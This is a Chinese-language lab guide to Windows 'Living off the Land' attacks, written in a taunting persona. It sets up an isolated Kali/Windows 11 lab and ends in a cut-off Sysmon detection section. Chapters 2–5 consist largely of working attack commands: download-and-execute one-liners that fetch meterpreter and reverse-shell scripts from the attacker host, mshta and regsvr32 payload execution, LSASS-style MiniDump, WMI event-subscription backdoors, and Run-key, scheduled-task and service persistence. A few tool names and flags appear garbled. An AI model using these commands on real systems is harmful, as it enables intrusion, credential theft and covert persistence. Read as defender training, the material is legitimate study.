Living off the Land(LotL)攻击技术实验指南

哼,这种东西还需要本小姐来教你吗

哎呀呀,听好了杂鱼们——法律声明

哼,既然你们这些连基础都不懂的大叔都要来学这种高级技术,本小姐就大发慈悲地告诉你们一些基本规则吧。不过听好了哦,别到时候被抓去蹲局子了还来哭诉!

重要声明:这份文档嘛,主要是给那些自称"网络安全专业人员"的家伙在受控实验环境里学习和研究用的。所有演示的技术,必须在获得明确书面授权的环境中进行测试。未经授权使用这些技术?哼哼,那可是要吃牢饭的哦。本作者才不会替你们这些笨蛋背锅呢,懂了没有?在实际生产环境部署任何东西之前,务必在测试环境里给我好好验证!


第一章 什么都不会的大叔们——先从基础概念学起吧

1.1 连这都不懂?Living off the Land 攻击原理

哎呀呀,看看这些连基础概念都不懂的大叔们,真是可怜呢。Living off the Land(简称 LotL)——听好了,这是一种超级高级的攻击技术哦。攻击者才不会傻傻地带什么恶意软件文件呢,他们直接利用操作系统本身内置的那些合法工具来完成攻击。这么做的好处是什么?当然是——隐蔽啊!因为用的都是系统原生的组件,安全软件根本分不清这是正常的系统操作还是攻击行为,笨笨的吧?

这些被滥用的"Living off the Land Binaries"(简称 LOLBins)可以完成载荷传输、代码执行、权限维持和数据渗出等各种目的。攻击者聪明着呢,现代终端安全解决方案普遍采用特征码检测、行为分析和机器学习等技术来识别恶意文件?哼,那又怎样!当攻击者完全依赖系统原生工具时,传统的文件扫描机制瞬间变成废物——因为这些工具的数字签名有效、行为模式看似正常,而且在企业环境中到处都在用。MITRE ATT&CK 框架把这类技术归类在"T1218 - Signed Binary Proxy Execution"和"T1047 - Windows Management Instrumentation"等战术类别下,攻击者们可是把这些技术玩得溜溜的呢。

从攻击者的角度来看,LotL 技术不仅隐蔽,而且适应性超强。当目标环境更新或安全策略调整时,攻击者只需要换一套原生工具用就行了,完全不用修改攻击载荷本身。而且这种技术还让攻击归因变得超级困难——同一工具既可以用于合法管理目的,也可以被滥用于攻击活动,安全分析师们光是判断攻击者的意图就要头疼死了呢。哎呀呀,真是替他们感到可怜哦~

1.2 常用 LOLBins 工具分类——本小姐大发慈悲给你科普一下

既然你们这些杂鱼这么想知道,本小姐就勉强给你们讲解一下吧。为了更好地理解 LotL 攻击技术,有必要对常见的被滥用原生工具进行分类。哼,记好了,错过了可不会再讲第二遍哦!

第一类是文件传输类工具,包括 Certutil、Bitsadmin、PowerShell 和 Windows Defender ATP 等系统组件。这些工具原本设计用于证书管理、系统更新和安全防护,结果都被攻击者滥用来从远程服务器下载恶意载荷。第二类是代码执行类工具,涵盖 Rundll32、Mshta、Regsvr32、WiMIC 和 Cscript/Wscript 等。这些工具能够加载和执行各种格式的脚本和代码,是攻击链中实现代码执行的关键环节。第三类是持久化类工具,包括 Schtasks、At 和 WMI 等,这些工具原本用于系统任务调度,却被攻击者用来建立长期的控制机制。第四类是信息收集类工具,如 Systeminfo、Net 系列命令和 PowerShell 的各种 Get-命令,这些工具用于侦察阶段的系统信息收集。

理解这些工具的正常用途对于检测滥用行为至关重要。只有深入了解工具的预期行为模式,安全分析师才能识别出偏离正常模式的异常使用方式。在后续章节中,我们会详细演示每类工具的具体滥用方法,并提供相应的检测策略——哼,本小姐说话算话,才不会像某些大叔那样说话不算数呢。

1.3 实验环境拓扑与网络架构——别搞错了,杂鱼们

嘁,这次实验采用典型的攻防对抗拓扑结构,由攻击机和靶机两部分组成,通过隔离网络进行通信。攻击机使用 Kali Linux 2024.4 版本,扮演攻击者的角色,承载 C2 服务器、Web 服务器和各类辅助工具。靶机采用 Windows 11 23H2 版本,模拟企业终端环境,运行着常规办公软件和安全防护软件。

网络架构采用 Host-only 模式,确保实验环境与外部网络完全隔离,避免任何潜在风险扩散。在 Kali 虚拟机中配置虚拟网络编辑器,创建一个仅主机网络,网段设置为 192.168.100.0/24,Kali 攻击机的 IP 地址配置为 192.168.100.10。Windows 11 靶机的网络适配器设置为同一虚拟网络,自动获取 IP 地址,确保两台虚拟机之间可以直接通信,同时与宿主机和其他网络隔离。

这种隔离环境的优势在哪里呢?首先,攻击流量完全局限在实验网络中,便于监控和分析。其次,靶机无法访问互联网下载真实恶意软件,降低了意外感染的风险。最后,实验过程可以随时暂停、快照和回滚,便于反复练习和对比不同攻击技术的效果。哼,这些对你们这些连虚拟机都不会装的大叔来说可能太难理解了,但还是写下来吧。

1.4 靶机环境预配置与监控组件部署——这可是本小姐的得意之作呢

为了有效观察和分析 LotL 攻击行为,需要在 Windows 11 靶机上部署系统监控组件。首先安装 Sysmon(System Monitor),这是微软提供的系统级进程监控工具,能够捕获详细的系统活动日志,包括进程创建、网络连接、文件创建时间戳修改等关键事件。下载最新版本的 Sysmon 工具包,解压后在管理员权限的命令提示符下运行安装命令:sysmon -accepteula -i sysmonconfig.xml,其中配置文件需要按照我们提供的规则进行定制,以捕获 LOLBins 的可疑行为。

Sysmon 配置文件的设计原则是平衡日志详细度和系统性能。对于实验环境,我们采用较为激进的监控策略,重点关注以下事件类型:事件 ID 1 表示进程创建,记录新进程的完整命令行参数和哈希值;事件 ID 3 表示网络连接,记录出站连接的源目 IP 和端口;事件 ID 7 表示镜像加载,记录 DLL 加载事件;事件 ID 11 表示文件创建,记录文件写入操作;事件 ID 13 表示注册表事件,记录键值修改。

Windows 事件日志的配置同样重要。启用 PowerShell 脚本块日志记录(Event ID 4104),这对于检测基于 PowerShell 的 LotL 攻击至关重要。通过组策略启用"开启 PowerShell 脚本块日志记录"选项,选择"记录脚本块调用"和"记录反签名脚本块"两个子选项。同时,确保 Windows Defender 实时防护处于启用状态,但在后续测试特定技术时,可能需要临时添加排除项或禁用实时扫描以便观察攻击原理——这一步骤务必在隔离实验环境中进行。哼,才不是因为本小姐怕你们搞出大麻烦呢,这是基本的实验安全要求!


第二章 侦察与信息收集阶段——别告诉本小姐你连这都不会

2.1 系统基础信息收集——区区侦察而已,小菜一碟

在 LotL 攻击的侦察阶段,攻击者首要任务是了解目标系统的基本配置、用户信息和网络环境。Windows 系统提供了丰富的原生命令可用于此目的,这些命令原本设计用于系统管理和故障排查,但同样可以被攻击者用于信息收集。哼,别用那种崇拜的眼神看本小姐,这些都是基本操作而已!

首先获取系统基本信息和已安装的补丁情况。在 Windows 11 靶机上打开命令提示符或 PowerShell,执行 systeminfo命令,该命令将显示操作系统版本、安装日期、内存信息、处理器架构和已安装的修补程序列表。从攻击者的角度,这份信息可用于判断系统是否存在特定的已知漏洞,例如未安装某个关键安全更新的系统可能更容易受到特定攻击。哎呀呀,那些不打补丁的大叔们,可要小心了哦~

# Windows 11 靶机上的信息收集命令——本小姐亲手写的,羡慕吧?

# 获取系统详细信息
systeminfo

# 显示当前登录用户信息
whoami /all

# 列出本地用户账户
net user

# 获取当前网络配置
ipconfig /all

# 查看网络连接和监听端口
netstat -ano

# 列出正在运行的进程列表
tasklist /v

使用 whoami /all命令可以获取当前用户的 SID、所属组和特权信息,这对于判断攻击者当前权限级别和后续提权路径至关重要。如果返回结果显示用户属于 “Administrators” 组或拥有 “SeDebugPrivilege” 等高权限令牌,则可以直接进行后续的特权操作。哼,要是返回的是普通用户,那大叔你就老老实实去提权吧,别想着一步登天哦!

网络信息收集同样重要。ipconfig /all不仅显示 IP 地址,还会泄露 DNS 服务器、MAC 地址和 DHCP 信息。netstat -ano列出所有活动连接和监听端口,帮助攻击者了解系统上运行的服务和可能的内网通信路径。这些信息可用于构建目标网络的拓扑图,为后续的横向移动做准备。大叔,记住了吗?这些命令都给我背下来!

2.2 PowerShell 高级侦察技术——这可不是杂鱼能轻易掌握的哦

PowerShell 作为 Windows 系统的核心管理框架,提供了强大的信息收集能力。在 LotL 攻击场景中,PowerShell 常被用于执行更深入的侦察操作,其丰富的 cmdlet 库使得信息收集更加高效和全面。哼,这可是进阶内容了,那些连命令行都玩不转的大叔们还是先回去练练基本功吧!

使用 Get-ComputerInfo命令可以一次性获取大量系统信息,包括系统版本、BIOS 信息、时区设置和域配置等。对于域环境中的目标,Get-ADUserGet-ADComputercmdlet 可以枚举域用户和计算机账户,但这些命令需要安装 Active Directory 模块且通常需要适当的域权限。哎呀呀,如果你们没有域权限的话,那就只能干瞪眼了哦,真可怜呢~

# PowerShell 高级侦察命令示例——看好了,这是本小姐的珍藏!

# 获取系统基本信息对象
$systemInfo = Get-ComputerInfo

# 列出所有进程及其详细信息
Get-Process | Select-Object Name, Id, Path, Company | Format-Table

# 获取所有服务及其状态
Get-Service | Where-Object {$_.Status -eq "Running"}

# 枚举本地安全策略信息
secedit /export /areas USER_RIGHTS /cfg secpol.cfg

# 获取当前网络连接的详细信息
Get-NetTCPConnection | Select-Object LocalPort, RemotePort, OwningProcess, State

# 列出已安装的软件包(通过注册表)
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*" | Select-Object DisplayName, InstallDate

在真实的攻击场景中,攻击者通常会将这些命令组合成侦察脚本,通过一行 PowerShell 命令远程执行。这种"脚本块执行"技术(Script Block Invocation)是 LotL 攻击的典型特征,利用 PowerShell 的远程执行能力在目标系统上运行侦察代码,而无需部署额外的工具。哼,这招学会了没有?本小姐可不会再手把手教第三遍哦!

2.3 内网网络发现与目标定位——杂鱼们颤抖吧

LotL 攻击的一个关键优势在于其在内网环境中的有效性。攻击者获取初始立足点后,会继续使用原生工具进行网络发现,识别有价值的目标和潜在的横向移动路径。哎呀呀,那些以为内网很安全的大叔们,现在是不是开始慌了呢?

使用 for /f %i in (targets.txt) do @ping -n 1 -w 100 %i 2>nul && echo %i is alive这样的简单批处理脚本可以进行快速的批量主机探测。虽然没有 Nmap 这样的专业工具精确,但足以完成基本的发现任务。哼,本小姐才不羡慕那些有 Nmap 的人呢,原生工具照样好用!

# 使用 PowerShell 进行内网发现——才不是抄袭 Nmap 的功能呢!

# 扫描常见端口的主机发现
1..254 | ForEach-Object {
    $ip = "192.168.100.$_"
    $pingResult = Test-Connection -ComputerName $ip -Count 1 -Quiet
    if ($pingResult) {
        Write-Host "[+] Host $ip is online" -ForegroundColor Green
    }
}

# 快速端口扫描(针对常见服务端口)
function Port-Scan {
    param([string]$Target, [int[]]$Ports)
    foreach ($port in $Ports) {
        try {
            $socket = New-Object Net.Sockets.TcpClient
            $socket.Connect($Target, $port)
            Write-Host "[+] Port $port is OPEN on $Target" -ForegroundColor Green
            $socket.Close()
        } catch {
            # 连接失败是正常情况——本小姐才不 care 呢
        }
    }
}

# 调用端口扫描函数
Port-Scan -Target "192.168.100.20" -Ports (80, 443, 445, 3389, 5985)

这些网络发现技术展示了攻击者如何在不使用专用扫描工具的情况下完成内网侦察。防御方应当监控异常的批量 ICMP 请求和异常快速的端口连接模式,这些通常是网络侦察的 Indicators of Compromise(IOC)。哼,本小姐都把答案告诉你们了,要是还被人攻击成功,那可真是——大笨蛋呢!


第三章 载荷投递与文件传输——看看本小姐的操作吧

3.1 Certutil 载荷下载技术详解——这可是基础中的基础呢

Certutil 是 Windows 系统的证书管理工具,但其功能远不止于此。该工具内置了文件编码、解码和下载功能,使其成为 LotL 攻击中载荷投递的首选工具之一。攻击者可以利用 Certutil 从远程服务器下载文件,甚至可以利用其 Base64 编码/解码功能来混淆载荷。哎呀呀,那些以为 Certutil 只能用来管理证书的大叔们,真是太天真了呢!

最常用的 Certutil 下载技术是 certutil -urlcache -split -f http://attacker-server/payload.exe payload.exe。这个命令会从指定的 URL 下载文件并保存到本地,-split 参数确保文件不被自动解码,-f 参数强制刷新缓存。下载完成后,Certutil 会输出文件信息摘要,包括文件哈希值,这些信息可能被攻击者用于验证下载完整性。哼,这有什么难的?本小姐闭着眼睛都能操作呢!

# Kali 攻击机上的准备步骤——这可是本小姐的独家秘笈!

# 1. 创建模拟恶意文件(无害的测试文件)
echo "This is a test payload for educational purposes" > /var/www/html/payload.txt
echo "alert('Test');" > /var/www/html/payload.js

# 2. 启动简单的 HTTP 服务器托管文件
python3 -m http.server 80
# Windows 11 靶机上的载荷下载命令——看清楚了!

# 使用 Certutil 下载文本文件
certutil -urlcache -split -f http://192.168.100.10/payload.txt downloaded.txt

# 使用 Certutil 下载并自动解码 Base64 编码的文件
# (如果服务器端提供 Base64 编码的文件)
certutil -decode encoded.txt decoded.txt

# 查看下载的文件内容
type downloaded.txt

# 下载 PowerShell 脚本并直接执行(无文件落地)
certutil -urlcache -split -f http://192.168.100.10/recon.ps1 > $env:TEMP\recon.ps1

值得注意的是,Certutil 还具有欺骗性的用途——攻击者可以将其作为中继工具使用,通过指定 “-encode” 参数将敏感数据编码后外发,绕过某些基于内容检测的安全设备。这种"Certutil 隧道"技术虽然效率不高,但在特定场景下可以有效规避网络监控。哼,本小姐才不告诉你们具体怎么用呢,自己想去!

3.2 Bitsadmin 后台传输服务滥用——后台传输可是很厉害的呢

Background Intelligent Transfer Service(BITS)是 Windows 操作系统的一个后台文件传输组件,设计用于系统更新和应用程序安装。BITS 的特点是能够在后台异步传输大文件,并且在网络连接中断后能够自动恢复传输。这些设计特性使其成为攻击者载荷投递的理想工具——传输过程隐蔽,不显示进度通知,且可以绑定到用户会话生命周期。哎呀呀,微软的设计师们估计做梦都没想到自己设计的东西会被这样利用呢,真可怜哦~

# 使用 Bitsadmin 创建下载任务——本小姐亲自演示!

# 创建名为"UpdateJob"的下载任务
bitsadmin /create UpdateJob

# 添加下载文件到任务
bitsadmin /addfile UpdateJob http://192.168.100.10/payload.txt %TEMP%\downloaded.txt

# 设置传输优先级为前台(确保快速完成)
bitsadmin /setpriority UpdateJob FOREGROUND

# 启动传输任务
bitsadmin /resume UpdateJob

# 监控传输状态
bitsadmin /info UpdateJob /verbose

# 完成传输后清理任务
bitsadmin /complete UpdateJob

Bitsadmin 的高级用法包括设置传输完成后自动执行命令。通过结合任务完成通知机制,攻击者可以配置 BITS 在下载完成后立即启动下载的文件,实现"下载并执行"的自动化攻击链。这种技术比传统的下载-执行两步走更加隐蔽,因为所有操作都通过系统组件完成。哼,这招学会了没有?本小姐可没有在教坏你们哦!

3.3 PowerShell 下载执行技术——这才是本小姐的杀手锏呢

PowerShell 是 LotL 攻击中最强大和最常用的工具。其 .NET Framework 集成能力使得直接内存执行远程脚本成为可能,完全不需要文件落地到磁盘。这种"无文件攻击"技术是现代高级持续威胁的标志性特征,给传统基于文件扫描的安全解决方案带来了巨大挑战。哎呀呀,那些还在靠特征码检测的安全产品,可以退休了呢!

# PowerShell 下载执行技术——本小姐的珍藏!

# 方法1:使用 WebClient 下载并执行
$webClient = New-Object System.Net.WebClient
$script = $webClient.DownloadString("http://192.168.100.10/recon.ps1")
Invoke-Expression $script

# 方法2:使用 Invoke-WebRequest 并执行
Invoke-WebRequest -Uri "http://192.168.100.10/malware.ps1" -OutFile $env:TEMP\test.ps1
& $env:TEMP\test.ps1

# 方法3:内存中直接执行(无文件落地)
IEX (New-Object Net.WebClient).DownloadString("http://192.168.100.10/meterpreter.ps1")

# 方法4:使用隐藏窗口执行(更加隐蔽)
$hiddenWindow = New-Object -ComObject WScript.Shell
$hiddenWindow.Run("powershell.exe -WindowStyle Hidden -Command IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.10/rev.ps1')", 0, $false)

PowerShell 的远程脚本执行能力是其强大之处,也是安全监控的重点关注对象。Enable-MpPreference -DisableScriptScanning1 等命令可以禁用脚本扫描,但这需要管理员权限。更安全的做法是使用 Constrained Language Mode 限制 PowerShell 的功能,或者使用 Applocker 策略白名单限制可执行的脚本路径。哼,本小姐才不关心防御呢,不过这些知识对你们这些要当蓝队的大叔应该有点用吧?

3.4 SMB 文件传输与横向移动——在内网里为所欲为的感觉怎么样?

在域环境中,SMB 协议是横向移动的基石。Windows 原生工具几乎都支持通过 UNC 路径访问远程共享,这使得攻击者可以利用各种工具进行文件传输和数据窃取。哎呀呀,那些以为内网分割很安全的大叔们,现在是不是开始流冷汗了呢?

# 使用原生工具进行 SMB 文件传输——本小姐可是这方面的专家呢!

# 复制文件到远程共享
copy payload.exe \\192.168.100.20\share\

# 使用凭据访问远程共享(如果拥有有效凭证)
net use \\192.168.100.20\C$ /user:DOMAIN\User "password"
copy malicious.dll \\192.168.100.20\C$\Windows\Temp\

# 使用 PowerShell 远程复制
Copy-Item -Path localfile.txt -Destination \\remote\c$\temp\ -Recurse

# 使用 WMI 执行远程进程(横向移动)
Invoke-WmiMethod -Path win32_process -Name create -ArgumentList "calc.exe" -ComputerName 192.168.100.20 -Credential DOMAIN\User

# 使用 PSCredential 对象进行身份验证
$cred = Get-Credential
Invoke-Command -ComputerName 192.168.100.20 -ScriptBlock { whoami } -Credential $cred

SMB 攻击的防御重点在于监控异常的认证流量,特别是来自非预期系统的账户验证尝试。Event ID 4624(成功登录)和 Event ID 4625(登录失败)日志可以帮助识别横向移动行为。此外,限制本地管理员账户的使用范围、实施网络分段和启用 SMB 签名都可以有效降低 SMB 攻击的风险。哼,这些都是本小姐好心告诉你们的,可别说本小姐没有提醒过你们!


第四章 代码执行与横向移动——重头戏来了!

4.1 Rundll32 技术深度解析——这可是经典技术呢

Rundll32 是 Windows 系统的原生可执行文件,用于加载和运行 32 位 DLL 文件的导出函数。攻击者滥用 Rundll32 来执行 DLL 格式的恶意载荷,或者执行嵌入在 DLL 中的脚本代码。这种技术之所以流行,是因为 Rundll32 是经过签名的系统组件,其进程行为不会被简单的白名单机制拦截。哎呀呀,微软给 Rundll32 签名的时候,肯定没想到会被这样利用呢!

# Rundll32 执行技术——老牌技术但依然好用!

# 执行本地 DLL 的导出函数(标准用法)
rundll32.exe advpack.dll,LaunchINFSection classic.ini,DefaultInstall

# 通过 URL 执行远程托管的 DLL(SMB 版本)
rundll32.exe \\192.168.100.10\share\malicious.dll,ExploitFunction

# 执行 JavaScript 或 VBScript(通过扩展名关联)
rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";alert('XSS');

# 使用 ComInfen.dll 执行 COM 对象(高级技术)
rundll32.exe comsvcs.dll,MiniDump 1234 dump.bin full

Rundll32 的高级滥用技术包括利用其加载远程 DLL 的能力。攻击者可以在 SMB 共享上托管恶意 DLL,然后通过 Rundll32 调用远程 DLL 的导出函数。这种技术在目标系统上不会留下本地文件,大大增加了取证分析的难度。哼,想要抓到大神级别的攻击者?做梦去吧!

另一个值得关注的技术是"Rundll32 + JS/VBScript"。通过特定参数,Rundll32 可以调用 MSHTML 组件执行脚本代码,绕过某些基于进程名的检测规则。例如:rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";window.location='http://attacker/c2'可以建立与远程 C2 服务器的连接。哎呀呀,这种技巧是不是很厉害呢?大叔们学到了没有?

4.2 Mshta 执行恶意 HTA 文件——这可是钓鱼攻击的好帮手呢

Mshta.exe 是 Windows HTML Application Host,负责解析和执行 .hta 文件。HTA 文件结合了 HTML、JavaScript/VBScript 和 COM 组件,具有访问本地系统资源的完整权限。攻击者利用 Mshta 执行恶意脚本,因为其行为模式类似于正常浏览器,但执行的是本地脚本而非网页内容。哎呀呀,当用户打开恶意 .hta 文件的时候,还以为自己在看网页呢,实际上已经被人玩弄于鼓掌之中了!

# Mshta 攻击技术——本小姐最喜欢用的技术之一!

# 执行远程托管的 HTA 文件(最常用方法)
mshta.exe http://192.168.100.10/payload.hta

# 执行本地 HTA 文件
mshta.exe C:\temp\malicious.hta

# 使用 VBScript 执行反弹 Shell(无文件技术)
mshta.exe vbscript:CreateObject("WScript.Shell").Run("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.10/rev.ps1')",0)(window.close)

# 执行内联脚本的 HTA(所有内容包含在单个命令中)
mshta.exe "javascript:{code here}"

HTA 攻击的典型应用场景是钓鱼邮件附件。当用户打开恶意 .hta 文件时,Mshta 会以完全信任模式执行其中的脚本代码,可以执行任意系统命令。现代安全产品通常会在 HTA 文件被下载时进行检测,但在某些配置下,绕过检测并非不可能。哼,那些连 HTA 是什么都不知道的大叔们,赶紧去补补课吧!

4.3 Regsvr32 与 Squiblydoo 技术——名字听起来很厉害吧?

Regsvr32 是 Windows 的 COM 组件注册工具,用于注册和注销 DLL 文件和 OCX 库。攻击者发现 Regsvr32 可以被滥用来执行远程托管的脚本代码,这种技术被称为"Squiblydoo",是 LotL 攻击的经典案例之一。哎呀呀,起这种名字的人是不是觉得自己很酷呢?

# Regsvr32 攻击技术——经典 Squiblydoo 技术!

# 执行远程托管的 XML 脚本文件(Squiblydoo)
regsvr32.exe /s /u /i:http://192.168.100.10/payload.xml scrobj.dll

# 使用 /n 参数指定入口点
regsvr32.exe /s /n /u /i:http://192.168.100.10/scriptlet.sct scrobj.dll

# 本地执行 SCT 文件
regsvr32.exe /s /u /i:C:\temp\payload.sct scrobj.dll

Regsvr32 的攻击原理是利用其能够调用 COM 脚本组件的能力。通过提供远程 XML 格式的脚本定义文件(SCT 或 SCROBJ),攻击者可以在目标系统上执行任意 JScript 或 VBScript 代码。这种技术的隐蔽性在于整个攻击链完全通过系统组件完成,没有传统意义上的"恶意文件"落地。防御 Squiblydoo 技术的关键在于监控 Regsvr32 的网络连接行为,特别是当其尝试从互联网下载内容时。Sysmon Event ID 3 可以捕获这些网络连接,帮助安全分析师识别可疑的远程脚本加载行为。此外,禁用脚本对象组件或限制 scrobj.dll 的使用也可以有效阻断这种攻击路径。哼,本小姐把防御方法都告诉你们了,要是被这种技术攻击成功,只能说明——你们太菜了!

4.4 WMI 与 PowerShell Remoting 横向移动——高级技术的魅力

Windows Management Instrumentation(WMI)是 Windows 系统的核心管理框架,提供对系统信息几乎无限制的访问能力。WMI 的设计目标是允许系统管理员远程管理企业网络中的计算机,但其强大的能力同样吸引了攻击者的注意。哎呀呀,设计 WMI 的人肯定没想到,这东西会成为攻击者的利器呢!

# WMI 横向移动技术——高级技术可不是谁都能学会的!

# 使用 WMI 执行远程进程
$process = Get-WmiObject -Class Win32_Process -ComputerName "192.168.100.20" -Namespace "root\cimv2"
$result = $process.Create("calc.exe")
Write-Host "Process started with PID: $($result.ProcessId)"

# 使用 CIM Sessions 更加隐蔽的远程执行
$session = New-CimSession -ComputerName "192.168.100.20" -Credential $cred
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = "powershell -e <base64_encoded_payload>"}

# WMI 事件订阅持久化技术(无文件后门)
$filterArgs = @{
    Namespace = "root\subscription"
    Class = "__EventFilter"
    Arguments = @{
        Name = "TestFilter"
        EventNamespace = "root\cimv2"
        QueryLanguage = "WQL"
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
    }
}
$consumerArgs = @{
    Namespace = "root\subscription"
    Class = "CommandLineEventConsumer"
    Arguments = @{
        Name = "TestConsumer"
        CommandLineTemplate = "powershell.exe -WindowStyle Hidden -nop -c `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.10/payload.ps1')`""
    }
}
$filter = Set-WmiInstance @filterArgs
$consumer = Set-WmiInstance @consumerArgs
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{Filter = $filter; Consumer = $consumer}

WMI 事件订阅技术是高级持久化攻击的典型代表。通过创建一个 __EventFilter 和关联的 CommandLineEventConsumer,攻击者可以建立一个在系统启动时自动执行的"无文件"后门。每次系统满足指定的条件时(如运行时间达到特定阈值),WMI 服务会自动执行预定义的命令。由于整个攻击载荷存储在 WMI 数据库中而非文件系统,传统防病毒软件很难检测到这种威胁。哼,这种技术可不是你们这些杂鱼能轻易学会的呢!


第五章 持久化与权限维持——好东西当然要留下来慢慢用

5.1 注册表持久化技术——改注册表可是本小姐的拿手好戏

注册表是 Windows 系统的核心配置数据库,也是攻击者建立持久化的首选目标。通过修改特定的注册表键值,攻击者可以实现开机自启动、隐藏进程和修改系统行为等目的。哎呀呀,注册表这么重要的东西,微软居然让普通用户也能修改,真是太大意了呢!

# 注册表持久化技术——本小姐珍藏多年的秘技!

# 添加 Run 键值(最常见的自启动方法)
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "SystemUpdate" -Value "powershell.exe -WindowStyle Hidden -nop -c `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.10/payload.ps1')`""

# 使用 RunOnce 键值(单次执行后自动删除)
New-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" -Name "OneTime" -PropertyType String -Value "powershell.exe calc.exe"

# 修改用户登录脚本路径
Set-ItemProperty -Path "HKCU:\Environment" -Name "UserInitMprLogonScript" -Value "C:\Windows\System32\backdoor.bat"

# 建立隐藏的注册表键值(使用特殊字符混淆)
$keyPath = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$valueName = "`0`0`0"  # 使用 null 字符隐藏
$valueData = "powershell.exe -e <base64>"
New-ItemProperty -Path $keyPath -Name $valueName -PropertyType String -Value $valueData

# 使用 AppInit_DLLs 加载恶意 DLL(适用于旧版 Windows)
Set-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Windows" -Name "AppInit_DLLs" -Value "C:\Windows\System32\malicious.dll"

注册表持久化的检测需要关注 Run 和 RunOnce 键值的变化,以及用户登录脚本路径的修改。Sysmon Event ID 13(注册表事件)可以捕获这些修改操作,建议安全团队建立针对这些注册表键的基线监控规则。值得注意的是,某些高级攻击者会使用空字节、Unicode 字符或其他混淆技术来隐藏注册表键值名,检测时需要考虑这些规避手法。哼,本小姐可是把老底都掏给你们了!

5.2 计划任务持久化技术——定时执行,稳如老狗

Windows Task Scheduler 是系统任务调度服务,攻击者利用它创建隐蔽的定时任务来实现持久化。与注册表 Run 键不同,计划任务提供了更精细的时间控制能力,可以在特定时间间隔或系统事件触发时执行。哎呀呀,这种东西用在正途是管理工具,用在歪门邪道上可就是大麻烦了呢!

# 计划任务持久化技术——想什么时候执行就什么时候执行!

# 创建每小时执行一次的隐藏任务
schtasks /create /tn "WindowsUpdate" /tr "powershell.exe -WindowStyle Hidden -nop -c `"IEX (New-Object Net.WebClient).DownloadString('http://192.168.100.10/payload.ps1')`"" /sc hourly /st 00:00 /rl highest /f /hidden

# 创建系统启动时执行的任务
schtasks /create /tn "SystemBoot" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f

# 创建用户登录时执行的任务
schtasks /create /tn "UserLogon" /tr "powershell.exe -e <base64>" /sc onlogon /ru %USERNAME% /f

# 创建延迟执行的任务(用于绕过即时检测)
schtasks /create /tn "DelayedStart" /tr "C:\temp\backdoor.exe" /sc once /st 23:59 /f

# 使用 XML 任务定义文件创建复杂任务
schtasks /create /tn "ServiceCheck" /xml "C:\temp\task.xml" /f

# 查询已存在的任务
schtasks /query /fo list /v

# 删除可疑任务
schtasks /delete /tn "WindowsUpdate" /f

计划任务攻击的检测要点包括:监控以 SYSTEM 权限创建的任务、关注具有隐藏属性的任务、分析任务执行命令行中的可疑参数(如 Base64 编码的命令或网络连接 URL)。Event ID 4698(计划任务已创建)和 Event ID 4699(计划任务已删除)是重要的安全审计日志来源。哼,这些知识点都给我记住了!

5.3 服务持久化与 DLL 侧加载——高级货色登场了

Windows 服务机制提供了另一种持久化途径。攻击者可以创建新的系统服务或将恶意代码注入现有服务,实现开机自启动和特权执行。哎呀呀,服务可是能以 SYSTEM 权限运行的呢,这种好东西怎么能错过?

# 服务持久化技术——高级持久化手段!

# 创建新的系统服务
sc create "SecurityService" binPath= "C:\Windows\System32\backdoor.exe" DisplayName= "Windows Security Service" start= auto

# 修改现有服务的二进制路径
sc config "WinRM" binPath= "C:\temp\malicious.exe"

# 使用 PowerShell 创建 WMI 服务
$svc = Get-WmiObject -Class Win32_Service -Filter "Name='WinRM'"
$svc.StopService()
$svc.Change($null, $null, $null, $null, $null, $null, "C:\temp\backdoor.exe")
$svc.StartService()

# DLL 侧加载(利用搜索顺序劫持)
# 攻击者在系统目录放置恶意 DLL,利用程序加载顺序漏洞执行

# 创建服务并设置恢复选项
sc create "PersistentBackdoor" binPath= "C:\Windows\System32\backdoor.exe" start= auto
sc failure "PersistentBackdoor" reset= 0 actions= restart/0/restart/0

# 查询所有服务信息
Get-Service | Select-Object Name, DisplayName, Status, StartType | Format-Table

DLL 侧加载是一种更加隐蔽的服务持久化技术。攻击者利用 Windows DLL 搜索顺序的规则,将恶意 DLL 放置在系统目录或应用程序目录中,当合法程序启动时会自动加载恶意 DLL。这种技术的优势在于恶意代码以合法程序的进程名义运行,大大增加了检测难度。哼,这种技术可不是什么人都能玩得转的呢!


第六章 防御检测与取证分析——别以为本小姐只会攻击!

6.1 Sysmon 日志分析与攻击痕迹识别——本小姐可是攻防兼备的呢

有效的 LotL 攻击检测依赖于全面的系统日志收集和分析能力。Sysmon 作为系统级进程监控工具,提供了攻击活动中最关键的取证数据。理解 Sysmon 事件与攻击行为的对应关系是蓝队分析的基础技能。哎呀呀,本小姐教你们攻击技术的同时,顺便也教教你们怎么防御吧!

针对第二章演示的侦察行为,Sysmon 会记录以下关键事件。Event ID 1(进程创建)是检测侦察活动的核心日志类型,当攻击者执行 systeminfo、whoami 或 net user 等命令时,Event ID 1 会详细记录新进程的完整命令行参数、父进程信息和进程哈希值。正常的管理活动通常具有可预测的命令模式,如果观察到 cmd.exe 或 PowerShell 执行带有异常参数的信息收集命令,应当引起关注。哼,本小姐要是看到这种日志,肯定第一时间就知道有人在搞事情了呢!

<!-- Sysmon 配置文件片段 - 针对 LotL 攻击的监控规则 -->
<Sysmon schemaversion="4.90">
    <!-- 记录所有进程创建事件 -->
    <ProcessCreate onmatch="exclude">
        <Image condition="is">C:\Windows\System32\cscript.exe</Image>
        <Image condition="is">C:\Windows\System32\wscript.exe</Image>
    </ProcessCreate>
    
    <!-- 监控 Certutil 网络连接 -->
